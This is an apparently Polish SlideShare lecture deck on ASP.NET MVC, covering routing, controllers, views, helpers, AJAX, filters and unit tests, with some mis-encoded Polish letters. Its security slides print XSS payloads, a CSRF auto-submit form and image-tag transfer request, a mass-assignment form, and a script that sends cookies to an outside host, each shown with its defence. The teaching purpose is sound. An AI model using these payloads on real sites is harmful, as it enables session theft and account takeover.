SlideShare a Scribd company logo
1 of 99
ASP.NET MVC
główne założenia
Bartłomiej Zass
Microsoft
MVC w Internecie
• Ruby on Rails (LAMP)
– Convention over Configuration
– Don’t Repeat Yourself (Keep it DRY)
– Routing: map.connect ‘:controller/:action/:id’
• DJANGO (Python)
– Regex – mapowanie metoda-URL
– (r’^(?P<object_id>d+)/products/category/$’, ‘store.
products.view’),
• Spring, Struts, JSF(JAVA)
• ZEND Framework (ZF) – PHP
• MonoRail / Castle Project – ASP.NET
• ASP.NET MVC!
Założenia ASP.NET MVC
• „Convention over configuration”
• „DRY” (don’t repeat yourself)
• Maksymalna elastycznośd, rozszerzalnośd
• Serwowanie metod – nie plików
• Zejdź mi z drogi!
• Dlaczego nie WebForms?!
– RAD – podobnie jak aplikacje okienkowe
– Często chcemy wiedzied co się dzieje pod spodem i mied
więcej kontroli
– Cykl życia strony i kontrolek (własny)
– Całkowicie własny model zdarzeo (TextChanged, Click, itp. oraz
zdarzenia strony)
– Własne zarządzanie stanem – ViewState
– Warstwa abstrakcji – czasem niezastąpiona, czasem uciążliwa
Problemy z WebForms
• ViewState
• Trudna kontrola nad renderowanym kodem
• Client Ids
– ctl00$ContentPlaceHolder1$UserControl1$TextBox1
– Problemy z JavaScript
• Testy jednostkowe
– Symulacja cyklu życia strony poza IIS
– Konieczne wykorzystanie zaawansowanych
narzędzi takich jak TypeMock
ASP.NET MVC w akcji
ROUTING
Routing
• RESTowy format URLi
– Usability (łatwiej zapamiętad, zmienid)
– SEO*
• NIE odzwierciedla fizycznej lokalizacji!
• Cele routingu w ASP.NET MVC
– Mapowanie do akcji kontrolera
– Konstruowanie URLi
• Global.asax
var routes = new RouteCollection();
GlobalApplication.RegisterRoutes(routes);
// Zasada działania
routes.MapRoute(‚simple‛, ‚{first}/{second}/{third}‚);
// ---
/products/display/123
{first} = products
{second} = display
{third} = 123
/foo/bar/baz
{first} = foo
{second} = bar
{third} = baz
/a.b/c-d/e-f
{first} = ‚a.b‛
{second} = ‚c-d‛
{third} = ‚e-f‛
// Coś bardziej pożytecznego
routes.MapRoute(‚simple‛, ‚{controller}/{action}/{id}‚);
// /products/display/123
public class ProductsController : Controller
{
public ActionResult Display(int id)
{
//Do something
return View();
}
}
// Przykłady formatów
site/{controller}/{action}/{id}
// /products/display/123 - 
// /site/products/display/123 - 
// Można:
{language}-{country}/{controller}/{action}
{controller}.{action}.{id}
service/{action}-{format} (/service/display-xml)
{reporttype}/{year}/{month}/{date} (/sales/2008/1/23)
// Nie można:
{controller}{action}/{id}
// Mniej oczywiste przykłady
Book{title}and{foo}
{filename}.{ext}
Algorytm zachłanny:
/asp.net.mvc.xml – filename=asp.net.mvc (nie asp)
My{location}-{sublocation}
/MyHouse-LivingRoom
(location=„House‛, sublocation=„LivingRoom‛)
{foo}xyz{bar}
/xyzxyzxyzblah
(foo=„xyzxyz‛ – zachłannie; bar=„blah‛)
// Wartości domyślne
public class ProductsController : Controller
{ public ActionResult List() { } }
// ----
{controller}/{action}
/products/list – OK
/products/list/1 – nie zadziała, konieczny drugi route 
{controller}/{action}/{id}
Zamiast nowej trasy – wartość domyślna (RouteValueDictionary)
routes.MapRoute(‚simple‛, ‚{controller}/{action}/{id}‚,
new {id = ‚‛});
// ----
routes.MapRoute(‚simple‛,
‚{controller-action}‚,
new {action=‛index‛});
// /products- ?? NIE – w segmencie (pomiędzy „/‛) muszą być wszystkie parametry
// W tym przypadku action=index istotne tylko przy generowaniu adresów URL
// Constraints – dodatkowe ograniczenia (regex)
routes.MapRoute(‚blog‛, ‚{year}/{month}/{day}‚,
new {controller=‛blog‛, action=‛index‛},
new {year=@‚d{4}‚, month=@‚d{2}‚,
day=@‚d{2}‚});
//------------------------------------
// Constraints nie muszą być stringiem
// Własne constraints
public interface IRouteConstraint
{
bool Match(…);
}
// „Z pudełka‛ – implementuje HttpMethodConstraint
routes.MapRoute(‚name‛, ‚{controller}‚, null,
new {httpMethod = new HttpMethodConstraint(‚GET‛)} );
// Parametr catch-all
routes.MapRoute(‚catchallroute‛,
‚query/{query-name}/{*extrastuff}‚);
/*
/query/select/a/b/c – extrastuff = „a/b/c‛
/query/select/a/b/c/ - extrastuff = „a/b/c‛
/query/select/ - extrastuff = „‛ (OK)
*/
// Ignorowanie trasy
routes.Add(new Route
(
‚{resource}.axd/{*pathInfo}‚,
new StopRoutingHandler()
));
// /Webresource.axd
// Przekazuje request do standardowego handlera ASP.NET
// Domyślnie przy route.MapRoute – MVCRouteHandler
// możliwe przekazanie własnej implementacji IRouteHandler
// Prościej:
routes.IgnoreRoute(‚{resource}.axd/{*pathInfo}‚);
Reverse - routing
• RouteCollection (kolekcja RouteBase)
– Dla każdej trasy pytanie – czy możesz wygenerowad URL przy
pomocy tych parametrów?
• Route.GetVirtualPath
– Jeśli tak – VirtualPathData z adresem URL
– Jeśli nie – null
• Uwaga: wartości domyślne, które nie są parametrem
muszą się zgadzad
– Todo/{action}; defaults: controller=home;action=index
– Podajemy: Controller=„blah”, action=„cokolwiek” – NIE
– Controller=„home”; action=„any” – TAK
• Trasy nazwane – parametr do GetVirtualPath
• GetVirtualPath wykorzystuje parametry z Defaults
– Np. piszemy uniwersalną kontrolkę do nawigacji (dalej…)
// Ponieważ jest action na liście defaults – match
public static void RegisterRoutes(RouteCollection routes)
{
routes.MapRoute(null, ‚todo/{action}/{page}‚,
new {controller=‛todo‛, action=‛list‛, page=0 });
}
public string NextPageUrl(int currentPage, RouteCollection
routes)
{
int nextPage = currentPage + 1;
VirtualPathData vp = routes.GetVirtualPath(null,
new RouteValueDictionary(new {page = nextPage}));
if(vp != null)
{
return vp.VirtualPath;
}
return null;
}
// „Overflow parameters‛
// Dodatkowe parametry do generacji URL (np. query
// string, itp.).
routes.Add(new Route("forum/{user}/{action}", new
MvcRouteHandler())
{
Defaults = new RouteValueDictionary{
{"controller", "forum"},
{"user", "admin"}}
});
VirtualPathData vp2 = routes.GetVirtualPath(null,
new RouteValueDictionary(new
{ action = "Index" ,
controller = "forum",
param= "Bartek" }));
// controller – nie ma w URL, musi się zgadzać z default
// (=forum)
// param – jako querystring
Routing pipeline
1. URLRoutingModule próbuje znaleźd pasującą
trasę w statycznej RouteTable.Routes
- GetRouteData() na RouteBase – null lub kolekcja
2. Znaleziono trasę (pierwszy wygrywa) -> pobieramy
IRouteHandler
- Dla MVC: MvcRouteHandler
3. IRouteHandler.GetHandler -> IHttpHandler
- Dla MVC: MvcHandler
4. IHttpHandler.ProcessRequest
MvcHandler odpowiedzialny za wybór kontrolera
Web Forms + MVC
Uwaga na uwierzytelnienie!
ŹLE
<?xml version=‛1.0‛?>
<configuration>
<system.web>
<authorization>
<deny users=‛*‚ />
</authorization>
</system.web>
</configuration>
DOBRZE
UrlAuthorizationModule.CheckUrlAccessForPrincipal(this.Vir
tualPath,
requestContext.HttpContext.User,
requestContext.HttpContext.Request.HttpMethod)
Routing i ASP.NET Web Forms
KONTROLERY
Routing i co dalej?
• MVCHandler.ProcessRequest
– Wypełnia RequestContext.RouteData
• ControllerFactory -> IController
– IController.Execute()
public interface IController
{
void Execute(RequestContext requestContext);
}
• Domyślny ControllerFactory – szuka klasy w
odpowiednim katalogu, dodaje „Controller” do
parametru z RouteData
Najprostszy kontroler
public class SimpleController : IController
{
public void Execute(RequestContext requestContext)
{
var response = requestContext.HttpContext.Response;
response.Write(‚<h1>Hello World!</h1>‛);
}
}
// Podobieństwo do IHTTPHandler
// Główna różnica – RequestContext zamiast HttpContext
// (dodatkowe informacje związane z requestem MVC)
// Klasa abstrakcyjna ControllerBase – wyższy poziom
// Właściwości TempData, ViewData, itp.
ABC kontrolera
• Controller (dziedziczy po ControllerBase)
– Po niej z reguły powinna dziedziczyd klasa kontrolera
w ASP.NET MVC
• Domyślnie wszystkie publiczne metody
bezpośrednio dostępne z URL
– tzw. „Akcje” kontrolera
– Security!
– Dziedzicząc po Controller wyrażamy na to zgodę
• /simple2/hello -> Simple2Controller.Hello
• Parametry – querystring lub URL
– Musi zgadzad się z nazwą zmiennej metody
Akcja kontrolera - przykład
public void Distance(int x1, int y1, int x2, int y2)
{
double xSquared = Math.Pow(x2 - x1, 2);
double ySquared = Math.Pow(y2 - y1, 2);
Response.Write(Math.Sqrt(xSquared + ySquared));
}
/simple2/distance?x2=1&y2=2&x1=0&y1=0
routes.MapRoute(‚distance‛,
‚simple2/distance/{x1},{y1}/{x2},{y2}‚,
new { Controller = ‚Simple2‛, action = ‚Distance‛ }
);
/simple2/distance/0,0/1,2
ActionResult
• Response.Write
– Kto ma na to czas? 
– Tracimy funkcjonalnośd ASP.NET – np. Master
Pages
• Kontroler zwraca ActionResult
– Wzorzec „Command” (późniejsze wywołanie
kodu - np. Undo)
public abstract class ActionResult
{
public abstract void ExecuteResult(ControllerContext context);
}
ActionResult – c.d.
• Wiele typów odpowiedzi (dziedziczą po
ActionResult)
– Np. ViewResult
• ActionInvoker w późniejszej fazie wywołuje
Execute na zwróconym obiekcie
• Metody pomocnicze (XYZResult wyjątkiem
RedirectToAction)
public ActionResult ListProducts()
{
//Pseudo code
IList<Product> products =
SomeRepository.GetProducts();
ViewData.Model = products;
return new ViewResult {ViewData = this.ViewData };
}
// Krócej:
public ActionResult ListProducts()
{
//Pseudo code
IList<Product> products = SomeRepository.GetProducts();
return View(products);
}
Typy domyślnych ActionResult
ActionResult Opis
EmptyResult Nic nie robi
ContentResult Odpowiedź jako tekst
JsonResult Serializuje obiekt do JSON
RedirectResult Przekierowuje do URL
RedirectToRouteResult Przekierowuje na podstawie Routingu
ViewResult Uruchamia renderowanie widoku przez
ViewEngine
PartialViewResult Częśd widoku (np. kontrolka) – AJAX
FileResult Różne odmiany – zwraca plik
JavaScriptResult Wysyła i wywołuje natychmiast JavaScript po
stronie klienta
ActionResults c.d.
• ContentResult
– Wykorzystywane, kiedy metoda zwraca inny typ
niż ActionResult (void i null – EmptyResult) –
wygodne TESTY!
• FileResult (abstract), return File()
– FilePathResult
– FileContentResult
– FileStreamResult
• JsonResult, return Json()
– Uwaga na drzewo obiektu
JavascriptResult
public ActionResult DoSomething()
{
script s = ‚$(‘#some-div’).html(‘Updated!’);‛;
return JavaScript(s);
}
<%= Ajax.ActionLink(“click”, “DoSomething”, new AjaxOptions()) %>
<div id=”some-div”></div>
ViewResult
• Wywołuje IViewEngine.FindView()
– Zwraca IView
– IView.Render()
– Domyślnie - przeszukiwane konkretne katalogi
• ASPX, ASCX
Action Invoker
• Routing – wypełnił tylko RouteData
– Tak naprawdę nie wywołuje metody kontrolera
• ControllerActionInvoker - faktycznie
wywołuje akcję kontrolera
– Dostępny w IController.ActionInvoker
– Lokalizuje metodę (Reflection ze stringa)
– Mapuje parametry
– Wywołuje metodę i jej filtry
– Wywołuje ExecuteResult na zwróconym
ActionResult
Wywoływanie metod
• Dostępna każda metoda, która:
– Nie jest oznaczona [NonAction]
– Nie jest konstruktorem, właściwością, zdarzeniem
– Nie jest orginalnie zdefiniowana w Object (np.
ToString()) lub Controller (np. Dispose() i View())
• Dodatkowe atrybuty
– [ActionName(„View”)+
– ActionSelectorAttribute
ActionSelectorAttribute
public abstract class ActionSelectorAttribute :
Attribute
{
public abstract bool IsValidForRequest(ControllerContext
controllerContext, MethodInfo methodInfo);
}
// Invoker zawsze zadaje to pytanie
// Jeśli false – metoda nie będzie wywołana
/*
– [AcceptVerbs(HttpVerbs.Post)]
– [NonAction]
*/
Mapowanie parametrów
• Źródła parametrów akcji
– Request.Form
– Route Data
– Request.Querystring
• UpdateModel()
– <%= Html.TextBox(“ProductName”) %>
– ViewData*„product”+;
• Walidacja
– IDataErrorInfo lub atrybuty (MVC 2)
– ModelState.AddError
Walidacja z model binderami
public class Product : IDataErrorInfo
{ … }
// Podsumowanie wszystkich błędów
public string Error {
get { … }
}
// Błąd dla konkretnej właściwości
public string this[string columnName] {
Get { … }
}
WIDOKI
Domyślne widoki
<%@ Page Language=‛C#‚ MasterPageFile=‛~/Views/Shared/Site.Master‛
Inherits=‛System.Web.Mvc.ViewPage‛ %>
<asp:Content ID=‛indexTitle‛ ContentPlaceHolderID=‛TitleContent‛
runat=‛server‛>
Home Page
</asp:Content>
<asp:Content ID=‛indexContent‛ ContentPlaceHolderID=‛MainContent‛
runat=‛server‛>
<h2><%= Html.Encode(ViewData[‚Message‛]) %></h2>
<p>
To learn more about ASP.NET MVC visit <a href=‛http://asp.net/mvc‛
title=‛ASP.NET MVC Website‛>http://asp.net/mvc</a>.
</p>
</asp:Content>
Widoki
• Dziedziczy po ViewPage / ViewPage<T>
– …która dziedziczy po System.Web.UI.Page
• Nie ma <form runat=„server”>
– Teoretycznie może byd – możemy umieszczad kontrolki!
– Wysoce niezalecane – kontrolki serwerowe zawierają
„kawałki” kontrolera
– MVC nie obsługuje ViewState, IsPostBack, itp.
• To nie jest stare ASP
– ASP miało M, V i C w jednym pliku
• Zwracanie widoków
– return View() – zgodnie z nazwą akcji
– return View(„SpecificView”)
– return View(„~/Some/Other/View.aspx”);
// Słabo typowane widoki
public ActionResult List()
{
var products = new List<Product>();
for(int i = 0; i < 10; i++)
{
products.Add(new Product {ProductName = ‚Product ‚ + i});
}
ViewData[‚Products‛] = products;
return View();
}
<ul>
<% foreach(Product p in (ViewData[‚Products‛] as IEnumerable<Product>))
{%>
<li><%= Html.Encode(p.ProductName) %></li>
<% } %>
</ul>
// Silnie typowane widoki
public ActionResult List()
{
var products = new List<Product>();
for(int i = 0; i < 10; i++)
{
products.Add(new Product {ProductName = ‚Product ‚ + i});
}
return View(products);
}
<%@ Page Language=‛C#‚ MasterPageFile=‛~/Views/Shared/Site.Master‛
Inherits=‛System.Web.Mvc.ViewPage<IEnumerable<Product>>‛ %>
…
<ul>
<% foreach(Product p in Model) {%>
<li><%= Html.Encode(p.ProductName) %></li>
<% } %>
</ul>
HTML Helpers
<% %> vs <%= %> i zapomniany średnik
<%= Html.ActionLink(‚Link Text‛, ‚Withdraw‛, ‚Account‛) %>
<%= Html.ActionLink(‚Link Text‛, ‚Withdraw‛, ‚Account‛,
new {id=34231}, null) %>
<%= Html.RouteLink(‚Link Text‛, new {action=‛ActionX‛}) %>
-> <a href=‛/Home/About‛>LinkText</a>
<% using(Html.BeginForm(„action‛, „controller‛)) { %>
<% } %>
Lub
<% Html.BeginForm(); %> (…)
<% Html.EndForm(); %>
HTML Helpers – c.d.
<%= Html.Encode(string) %>
<%= Html.Hidden(‚wizardStep‛, ‚1‛) %>
<%= Html.DropDownList(„lista") %>
<%= Html.Password(‚my-password‛) %>
<%= Html.RadioButton(‚color‛, ‚red‛) %>
<%= Html.RadioButton(‚color‛, ‚blue‛, true) %>
<%= Html.RadioButton(‚color‛, ‚green‛) %>
<% Html.RenderPartial(‚MyUserControl‛); %>
HTML Helpers – c.d.
<%= Html.TextArea(‚text‛, ‚hello <br/> world‛) %>
// Kontroler: ViewData[‚Name‛] = product.Name;
<%= Html.TextBox(‚Name‛) %>
// Kontroler: ViewData[„Name‛] = product;
<%= Html.TextBox(‚Product.Name‛) %>
// Dodatkowe atrybuty
<%= Html.TextBox(‚Name‛, null, new {@class=‛klasa‛}) %>
<%= Html.ValidationMessage(‚Name‛) %>
<span class=‛field-validation-error‛>Ouch</span>
<%= Html.ValidationMessage(‚Name‛, ‚Wlasny kom.!‛) %>
Walidacja
public ActionResult Index()
{
var modelState = new ModelState();
modelState.Errors.Add(‚Ouch‛);
ModelState[‚Name‛] = modelState;
// lub
ModelState.AddModelError(„Age", „Ojj");
return View();
}
// Opcjonalnie – dodatkowy komunikat podsumowujący
<%= Html.ValidationSummary() %>
<ul class=‛validation-summary-errors‛>
<!-- <span>An error occurred</span> -->
<li>Ouch</li>
<li>Ouch</li>
</ul>
View Engine
• ViewResult iteruje po ViewEngines.Engines i
pyta kto może wyrenderowad widok
– Pierwszy wygrywa
• Domyślnie - System.Web.Mvc.WebFormViewEngine
• IViewEngine.FndView -> Iview
• IView.Render
protected void Application_Start()
{
ViewEngines.Engines.Clear();
ViewEngines.Engines.Add(new MyViewEngine());
RegisterRoutes(RouteTable.Routes);
}
Inaczej - NHAML
%h2= ViewData.CategoryName
%ul
- foreach (var product in
ViewData.Products)
%li = product.ProductName
.editlink
= Html.ActionLink("Edit",
new { Action="Edit",
ID=product.ProductID })
= Html.ActionLink("Add New
Product",
new { Action="New" })
Inaczej - NVelocity
#foreach($person in $people)
#beforeall
<table>
<tr><th>Name</th><th>Age</th></tr>
#before
<tr
#odd
Style=’color:gray’>
#even
Style=’color:white’>
#each
<td>$person.Name</td><td>$person.Age</td>
#after
</tr>
#between
<tr><td colspan=’2’>$person.bio</td></tr>
#afterall
</table>
#nodata
Sorry No Person Found
#end
Inaczej - Spark
<viewdata model=‛IEnumerable[[Person]]‚/>
<ul class=‛people‛>
<li each=‛var person in ViewData.Model‛>
${person.LastName}, ${person.FirstName}
</li>
</ul>
View Engine czy ActionResult
• Własny ActionResult
– Np. MyCustomXMLActionResult
– Prosty do zwrócenia
– Idealny, kiedy nie potrzebujemy szablonu
• View Engine
– Zawsze, kiedy potrzebujemy dodatkowego
pliku, który opisuje format zwracanej odpowiedzi
– Np. XSLTViewEngine
AJAX
Microsoft AJAX
<%using (Ajax.BeginForm(‚HelloAjax‛,
new AjaxOptions { UpdateTargetId = ‚results‛ }))
{ %>
<%= Html.TextBox(‚query‛, null, new {size=40}) %>
<input type=‛submit‛ />
<%} %>
<div id=‛results‛>
</div>
// -----
public string HelloAjax(string query)
{
return ‚You entered: ‚ + query;
}
POST /home/HelloAjax HTTP/1.1
Accept: */*
Accept-Language: en-us
Referer: http://localhost.:55926/home
x-requested-with: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=utf-8
...
query=Hello%20Ajax!&X-Requested-With=XMLHttpRequest
// Rozpoznawanie, że mamy do czynienia z AJAX request
public ActionResult HelloAjax(string query)
{
//make sure this is an Asynch post
if (Request.IsAjaxRequest())
{
return Content(‚You entered: ‚ + query);
}
else
{
return RedirectToAction(‚Index‛, new { query = query });
}
}
// Ten sam znacznik rozpoznawany przez jQuery
Partial Views i AJAX
// Co jeśli chcemy zwrócić coś więcej niż string?
// np. rezultat wyszukiwania w postaci HTML
// Rozwiązanie – partial views
if(Request.IsAjaxRequest())
{
// Partial View
return View(‚ProductSearchResults‛, products);
}
else
{
return View(products);
}
<div id=‛results‛>
<%Html.RenderPartial(‚ProductSearchResults‛, ViewData.Model); %>
</div>
To samo w jQuery
// jQuery.form plugin
<form action=‛<%=Url.Action(‚ProductSearch‛) %>‛ method=‛post‛ id=‛jform‛>
<%= Html.TextBox(‚query‛, null, new {size=40}) %>
<input type=‛submit‛ id=‛jsubmit‛ value=‛go‛ />
</form>
<div id=‛results2‛>
<%Html.RenderPartial(‚ProductSearchResults‛, ViewData.Model); %>
</div>
<script src=‛/Scripts/jquery-1.3.2.js‛ type=‛text/javascript‛></script>
<script src=‛/Scripts/jquery-form.js‛ type=‛text/javascript‛></script>
<script type=‛text/javascript‛>
$(document).ready(function() {
$(‘#jform’).submit(function() {
$(‘#jform’).ajaxSubmit({ target: ‘#results2’ });
return false;
});
});
</script>
// Inne opcje: url, type, beforeSubmit, Success, dataType, resetForm,
// clearForm
Extendery - Autocomplete
<script type=‛text/javascript‛>
Sys.Application.add_init(function() {
$create(
AjaxControlToolkit.AutoCompleteBehavior, {
serviceMethod: ‘ProductNameSearch’,
servicePath: ‘/ProductService.asmx’,
minimumPrefixLength: 1,
completionSetCount: 10
},
null,
null,
$get(‘query’))
});
</script>
Filtrowanie listy - jQuery
<script language=‛javascript‛ type=‛text/javascript‛>
$(document).ready(function() {
$(‚#CategoryID‛).change(function() {
var selection = $(‚#CategoryID‛).val();
$(‚#results‛).load(‚/home/ProductByCategory/‚ + selection);
}})
});
</script>
Filtry
Filtry w ASP.NET MVC
• Dostępne „z pudełka”
– Authorize
– HandleError
– OutputCache
[Authorize(Roles=‛Admins, SuperAdmins‛)]
public class AdminController
{
//Only admins should see this.
public ActionResult Index()
{
return View();
}
//Only admins should see this.
public ActionResult DeleteAllUsers()
{
// Jesteśmy bezpieczni
}
}
OutputCache
• Cache’uje wartośd zwracaną przez akcję
• Bazuje na ASP.NET @OutputCache
– Właściwości:
CacheProfile, Duration, Location, NoStore, SqlDepe
ndency, VaryBy*
– Brak VaryByControl
• Dlaczego nie w widoku?
• [OutputCache(Duration=60, VaryByParam=‛none‛)]
– A gdybyśmy chcieli bez rekompilacji?
• [OutputCache(CacheProfile=‛MyProfile‛)]
HandleError
[HandleError(ExceptionType = typeof(ArgumentException), View=‛ArgError‛)]
public ActionResult GetProduct(string name)
{
if(name == null)
{
throw new ArgumentNullException(‚name‛);
}
return View();
}
// ŹLE
[HandleError(Order=1, ExceptionType=typeof(Exception)]
[HandleError(Order=2, ExceptionType=typeof(ArgumentException), View=‛ArgError‛)]
public ActionResult GetProduct(string name)
// LEPIEJ
[HandleError(Order=1, ExceptionType=typeof(ArgumentException), View=‛ArgError‛)
[HandleError(Order=2, ExceptionType=typeof(Exception)]
public ActionResult GetProduct(string name)
Własny filtr
• Np. logowanie, mierzenie czasu, kontrola dostępu
• Dziedziczymy po ActionFilterAttribute (lub
FilterAttribute)
public virtual void OnActionExecuted(ActionExecutedContext filterContext);
public virtual void OnActionExecuting(ActionExecutingContext filterContext);
public virtual void OnResultExecuted(ResultExecutedContext filterContext);
public virtual void OnResultExecuting(ResultExecutingContext filterContext);
• Implementujemy interfejs:
– IActionFilter
– IResultFilter
– IAuthorizationFilter*
– IExceptionFilter*
public class TimerAttribute : ActionFilterAttribute
{
public TimerAttribute()
{
// Powinniśmy być ostatnim filtrem – tuż przed akcją
this.Order = int.MaxValue;
}
public override void OnActionExecuting(ActionExecutingContext filterContext)
{
var controller = filterContext.Controller;
if (controller != null)
{
var stopwatch = new Stopwatch();
controller.ViewData[‚__StopWatch‛] = stopwatch;
stopwatch.Start();
}
}
public override void OnActionExecuted(ActionExecutedContext filterContext)
{
var controller = filterContext.Controller;
if (controller != null)
{
var stopwatch = (Stopwatch)controller.ViewData[‚__StopWatch‛];
stopwatch.Stop();
controller.ViewData[‚__Duration‛] =
stopwatch.Elapsed.TotalMilliseconds;
}
}
// [Timer]
// Trwało: <%= ViewData[‚__Duration‛] %>
Kolejnośd filtrów
1. Właściwośd Order
2. Najpierw dla klasy
3. Jeśli brak Order – ujemna wartośd
4. Jeśli sam kontroler implementuje np.
IActionFilter – w pierwszej kolejności
BEZPIECZEOSTWO
Kilka słów o bezpieczeostwie
• Więcej swobody – więcej zagrożeo
– Domyślne helpery, WebFormViewEngine wiele
robią za nas
• XSS - Passive injection
Komentarz na blogu (URL autora):
<a href=‛Brak strony :<‛>Komentator</a>
‚><iframe src=‛http://zlastrona.com‛ height=‛400‛
width=„500‛ />
‚></a><script src=‛http://trojan.zlastrona.com‛>
</script> <a href=‛
XSS – Active Injection
// Do SearchBoxa
‚<br><br>Please login with the form below before proceeding:<form
action=‛mybadsite.aspx‛><table><tr><td>Login:</td><td><input type=text
length=20
name=login></td></tr><tr><td>Password:</td><td><input type=text length=20
name=password></td></tr></table><input type=submit value=LOGIN></form>‛
// Działa? Hmm…
<a href=‛http://testasp.acunetix.com/Search.asp?tfSearch= <br><br>Please
login
with the
form below before proceeding:<form
action=‛mybadsite.aspx‛><table><tr><td>Login:</td><td><input type=text
length=20
name=login></td></tr><tr><td>Password:</td><td><input type=text length=20
name=password></td></tr></table><input type=submit
value=LOGIN></form>‛>ZNAJDŹ SWOJE ZDJECIA NAGO</a>
XSS - zabezpieczenia
• Nigdy nie ufaj danym od użytkownika
• Enkoduj wyświetlane i zapisywane dane
– Atrybuty
– Cała zawartośd
<a href=‛<%=Url.Action(‚index‛,‛home‛,new
{name=Html.AttributeEncode(ViewData[‚name‛])})%>>Click
here</a>
<a href=‛<%=Url.Encode(Url.Action(‚index‛,‛home‛,new
{name=ViewData[‚name‛]}))%>>Click
here</a>
Cross-site Request Forgery
// Dobra strona, użytkownik stale zalogowany („ZAPAMIĘTAJ MNIE‛)
public class UserProfileController : Controller
{
public ViewResult Edit() { return View(); }
public ViewResult SubmitUpdate()
{
ProfileData profile = GetLoggedInUserProfile();
// Update the user object
profile.EmailAddress = Request.Form["email"];
profile.FavoriteHobby = Request.Form["hobby"];
SaveUserProfile(profile);
ViewData["message"] = "Your profile was updated.";
return View();
}
}
// Zapraszamy użytkownika e-mailem na naszą stronę
<body onload="document.getElementById('fm1').submit()"> <form id="fm1"
action="http://dobrastrona.pl/UserProfile/SubmitUpdate" method="post"> <input name="email"
value=„email@hackera.pl" /> <input name="hobby" value="Defacing websites" /> </form> </body>
// A teraz już tylko „forgoten password‛
CSRF inaczej
Komentarz pod newsami banku<img src =‛
http://widelyusedbank.com?function=transfer&amount=1000
&toaccountnumber=23234554333&from=checking‛ />.
CSRF – jak się uchronid
• Nie zmieniamy nic w GET
• Specjalny zmienny token (input
type=„hidden”), który porównujemy po
stronie serwera
– [ValidateAntiForgeryToken]
– <%= Html.AntiForgeryToken() %>
• Sprawdzad Referer
– Niektórzy wyłączają
– Ryzyko zmiany (niektóre wersje Flash)
– Można zrealizowad przy pomocy filtra
Filtr - referer
public class IsPostedFromThisSiteAttribute : AuthorizeAttribute
{
public override void OnAuthorize(AuthorizationContext filterContext)
{
if (filterContext.HttpContext != null)
{
if (filterContext.HttpContext.Request.UrlReferrer == null)
throw new System.Web.HttpException(‚Invalid submission‛);
if (filterContext.HttpContext.Request.UrlReferrer.Host != ‚mysite.com‛)
throw new System.Web.HttpException (‚This form wasn’t submitted
from this site!‛);
}
}
}
[IsPostedFromThisSite]
public ActionResult Register(…)
Kradzież ciastek ()
• Często tickety uwierzytelniające
– StackOverflow.com (beta)
• XSS
<img src=‛‚http://www.a.com/a.jpg<script type=text/javascript
src=‛http://1.2.3.4:81/xss.js‛>‛ /><<img
src=‛‚http://www.a.com/a.jpg</script>‛
• Xss.js – transfer ciastek
window.location=‛http://1.2.3.4:81/r.php?u=‛
+document.links[1].text
+‛&l=‛+document.links[1]
+‛&c=‛+document.cookie;
Ciastka – jak je zabezpieczyd?
• Uchroo się przed XSS – przemyśl dobrze
zanim napiszesz własną implementację anti-
XSS
– http://antixss.codeplex.com
• Cookies HTTPOnly
Response.Cookies[‚MyCookie‛]
.Value=‛Remembering you…‛;
Response.Cookies[‚MyCookie].HttpOnly=true;
Bezpieczeostwo - inne
• Komunikaty o błędach
– <compilation debug=„true”>
• Zabezpieczanie kontrolerów, nie ścieżki
– [Authorize]
• Zabezpieczanie publicznych metod
– [NonAction]
• Uwaga na Model Binders (dalej…)
Model Binders
// Ryzykowne zwłaszcza, kiedy ktoś zobaczy nasz
// kod źródłowy (jakie właściwości ma User)
<form action=http://naszastrona.pl/profile/update
method=‛post‛>
<input type=‛text‛ name=‛First‛ value=‛Darth‛ />
<input type=‛text‛ name=‛Last‛ value=‛Vader‛ />
<input type=‛text‛ name=‛Role‛ value=‛PanIWladca‚ />
</form>
// public ActionResult Update(User user)
// Model binder automatycznie ustawi Role
// Rozwiązanie: whitelist
[ValidateAntiforgeryToken]
public ActionResult
Update([Bind(Include=‛First, Last‛)]User user)
TESTY JEDNOSTKOWE
TDD i ASP.NET
• ASP.NET Web Forms
– Trudne do testowania
– Wiele elementów zależnych od IIS
• ASP.NET MVC
– Dużo nacisku na modularną architekturę
– Dobra integracja z frameworkami do
„mockowania”
– Integracja z wybranym frameworkiem do testów
– np. nUnit, mbUnit, Xunit, Visual Studio, …
Routing – przykładowy test
[TestMethod]
public void CanMapNormalControllerActionRoute()
{
//arrange
RouteCollection routes = new RouteCollection();
MvcApplication.RegisterRoutes(routes);
var httpContextMock = new Mock<HttpContextBase>();
httpContextMock.Expect(c => c.Request
.AppRelativeCurrentExecutionFilePath).Returns(‚~/product/list‛);
//act
RouteData routeData =
routes.GetRouteData(httpContextMock.Object);
//assert
Assert.IsNotNull(routeData, ‚Should have found the route‛);
Assert.AreEqual(‚product‛, routeData.Values[‚Controller‛]);
Assert.AreEqual(‚list‛, routeData.Values[‚action‛]);
Assert.AreEqual(‚‛, routeData.Values[‚id‛]);
}
Kontroler – przykładowy test
public ActionResult Save(string value)
{
TempData[‚TheValue‛] = value;
return RedirectToAction(‚Display‛);
}
[TestMethod]
public void SaveStoresTempDataValueAndRedirectsToFoo()
{
// Arrange
var controller = new HomeController();
// Act
var result = controller.Save(‚is 42‛) as RedirectToRouteResult;
// Assert
Assert.IsNotNull(result, ‚Expected the result to be a redirect‛);
Assert.AreEqual(‚is 42‛, controller.TempData[‚TheValue‛];
Assert.AreEqual(‚Display‛, result.Values[‚action‛]);
}
View Helpers – przykładowy test
public static string UnorderedList<T>(this HtmlHelper html,
IEnumerable<T> items)
[TestMethod]
public void
UnorderedListWithIntArrayRendersUnorderedListWithNumbers()
{
var contextMock = new Mock<HttpContextBase>();
var controllerMock = new Mock<IController>();
var cc = new ControllerContext(contextMock.Object, new RouteData(),
controllerMock.Object);
var viewContext = new ViewContext(cc, ‚n/a‛, ‚n/a‛, new
ViewDataDictionary(),
new TempDataDictionary());
var vdcMock = new Mock<IViewDataContainer>();
var helper = new HtmlHelper(viewContext, vdcMock.Object);
string output = helper.UnorderedList(new int[] {0, 1, 2 });
Assert.AreEqual(‚<ul><li>0</li><li>1</li><li>2</li></ul>‛, output);
}
Widok – przykładowy test
// …nie powinno być co testować – nie spotyka się
// często testów
CO NOWEGO
W ASP.NET MVC 2?
(wybrane)
Silnie typowane Helpery
• Nowe helpery dla silnie typowanych widoków
– ValidationMessageFor(o => o.Imie)
– TextAreaFor(o => o.Imie)
– TextBoxFor(o => o.Opis)
– HiddenFor(o => o.Tag)
– DropDownListFor(o => o.Zawod)
– LabelFor(o => o.Imie)
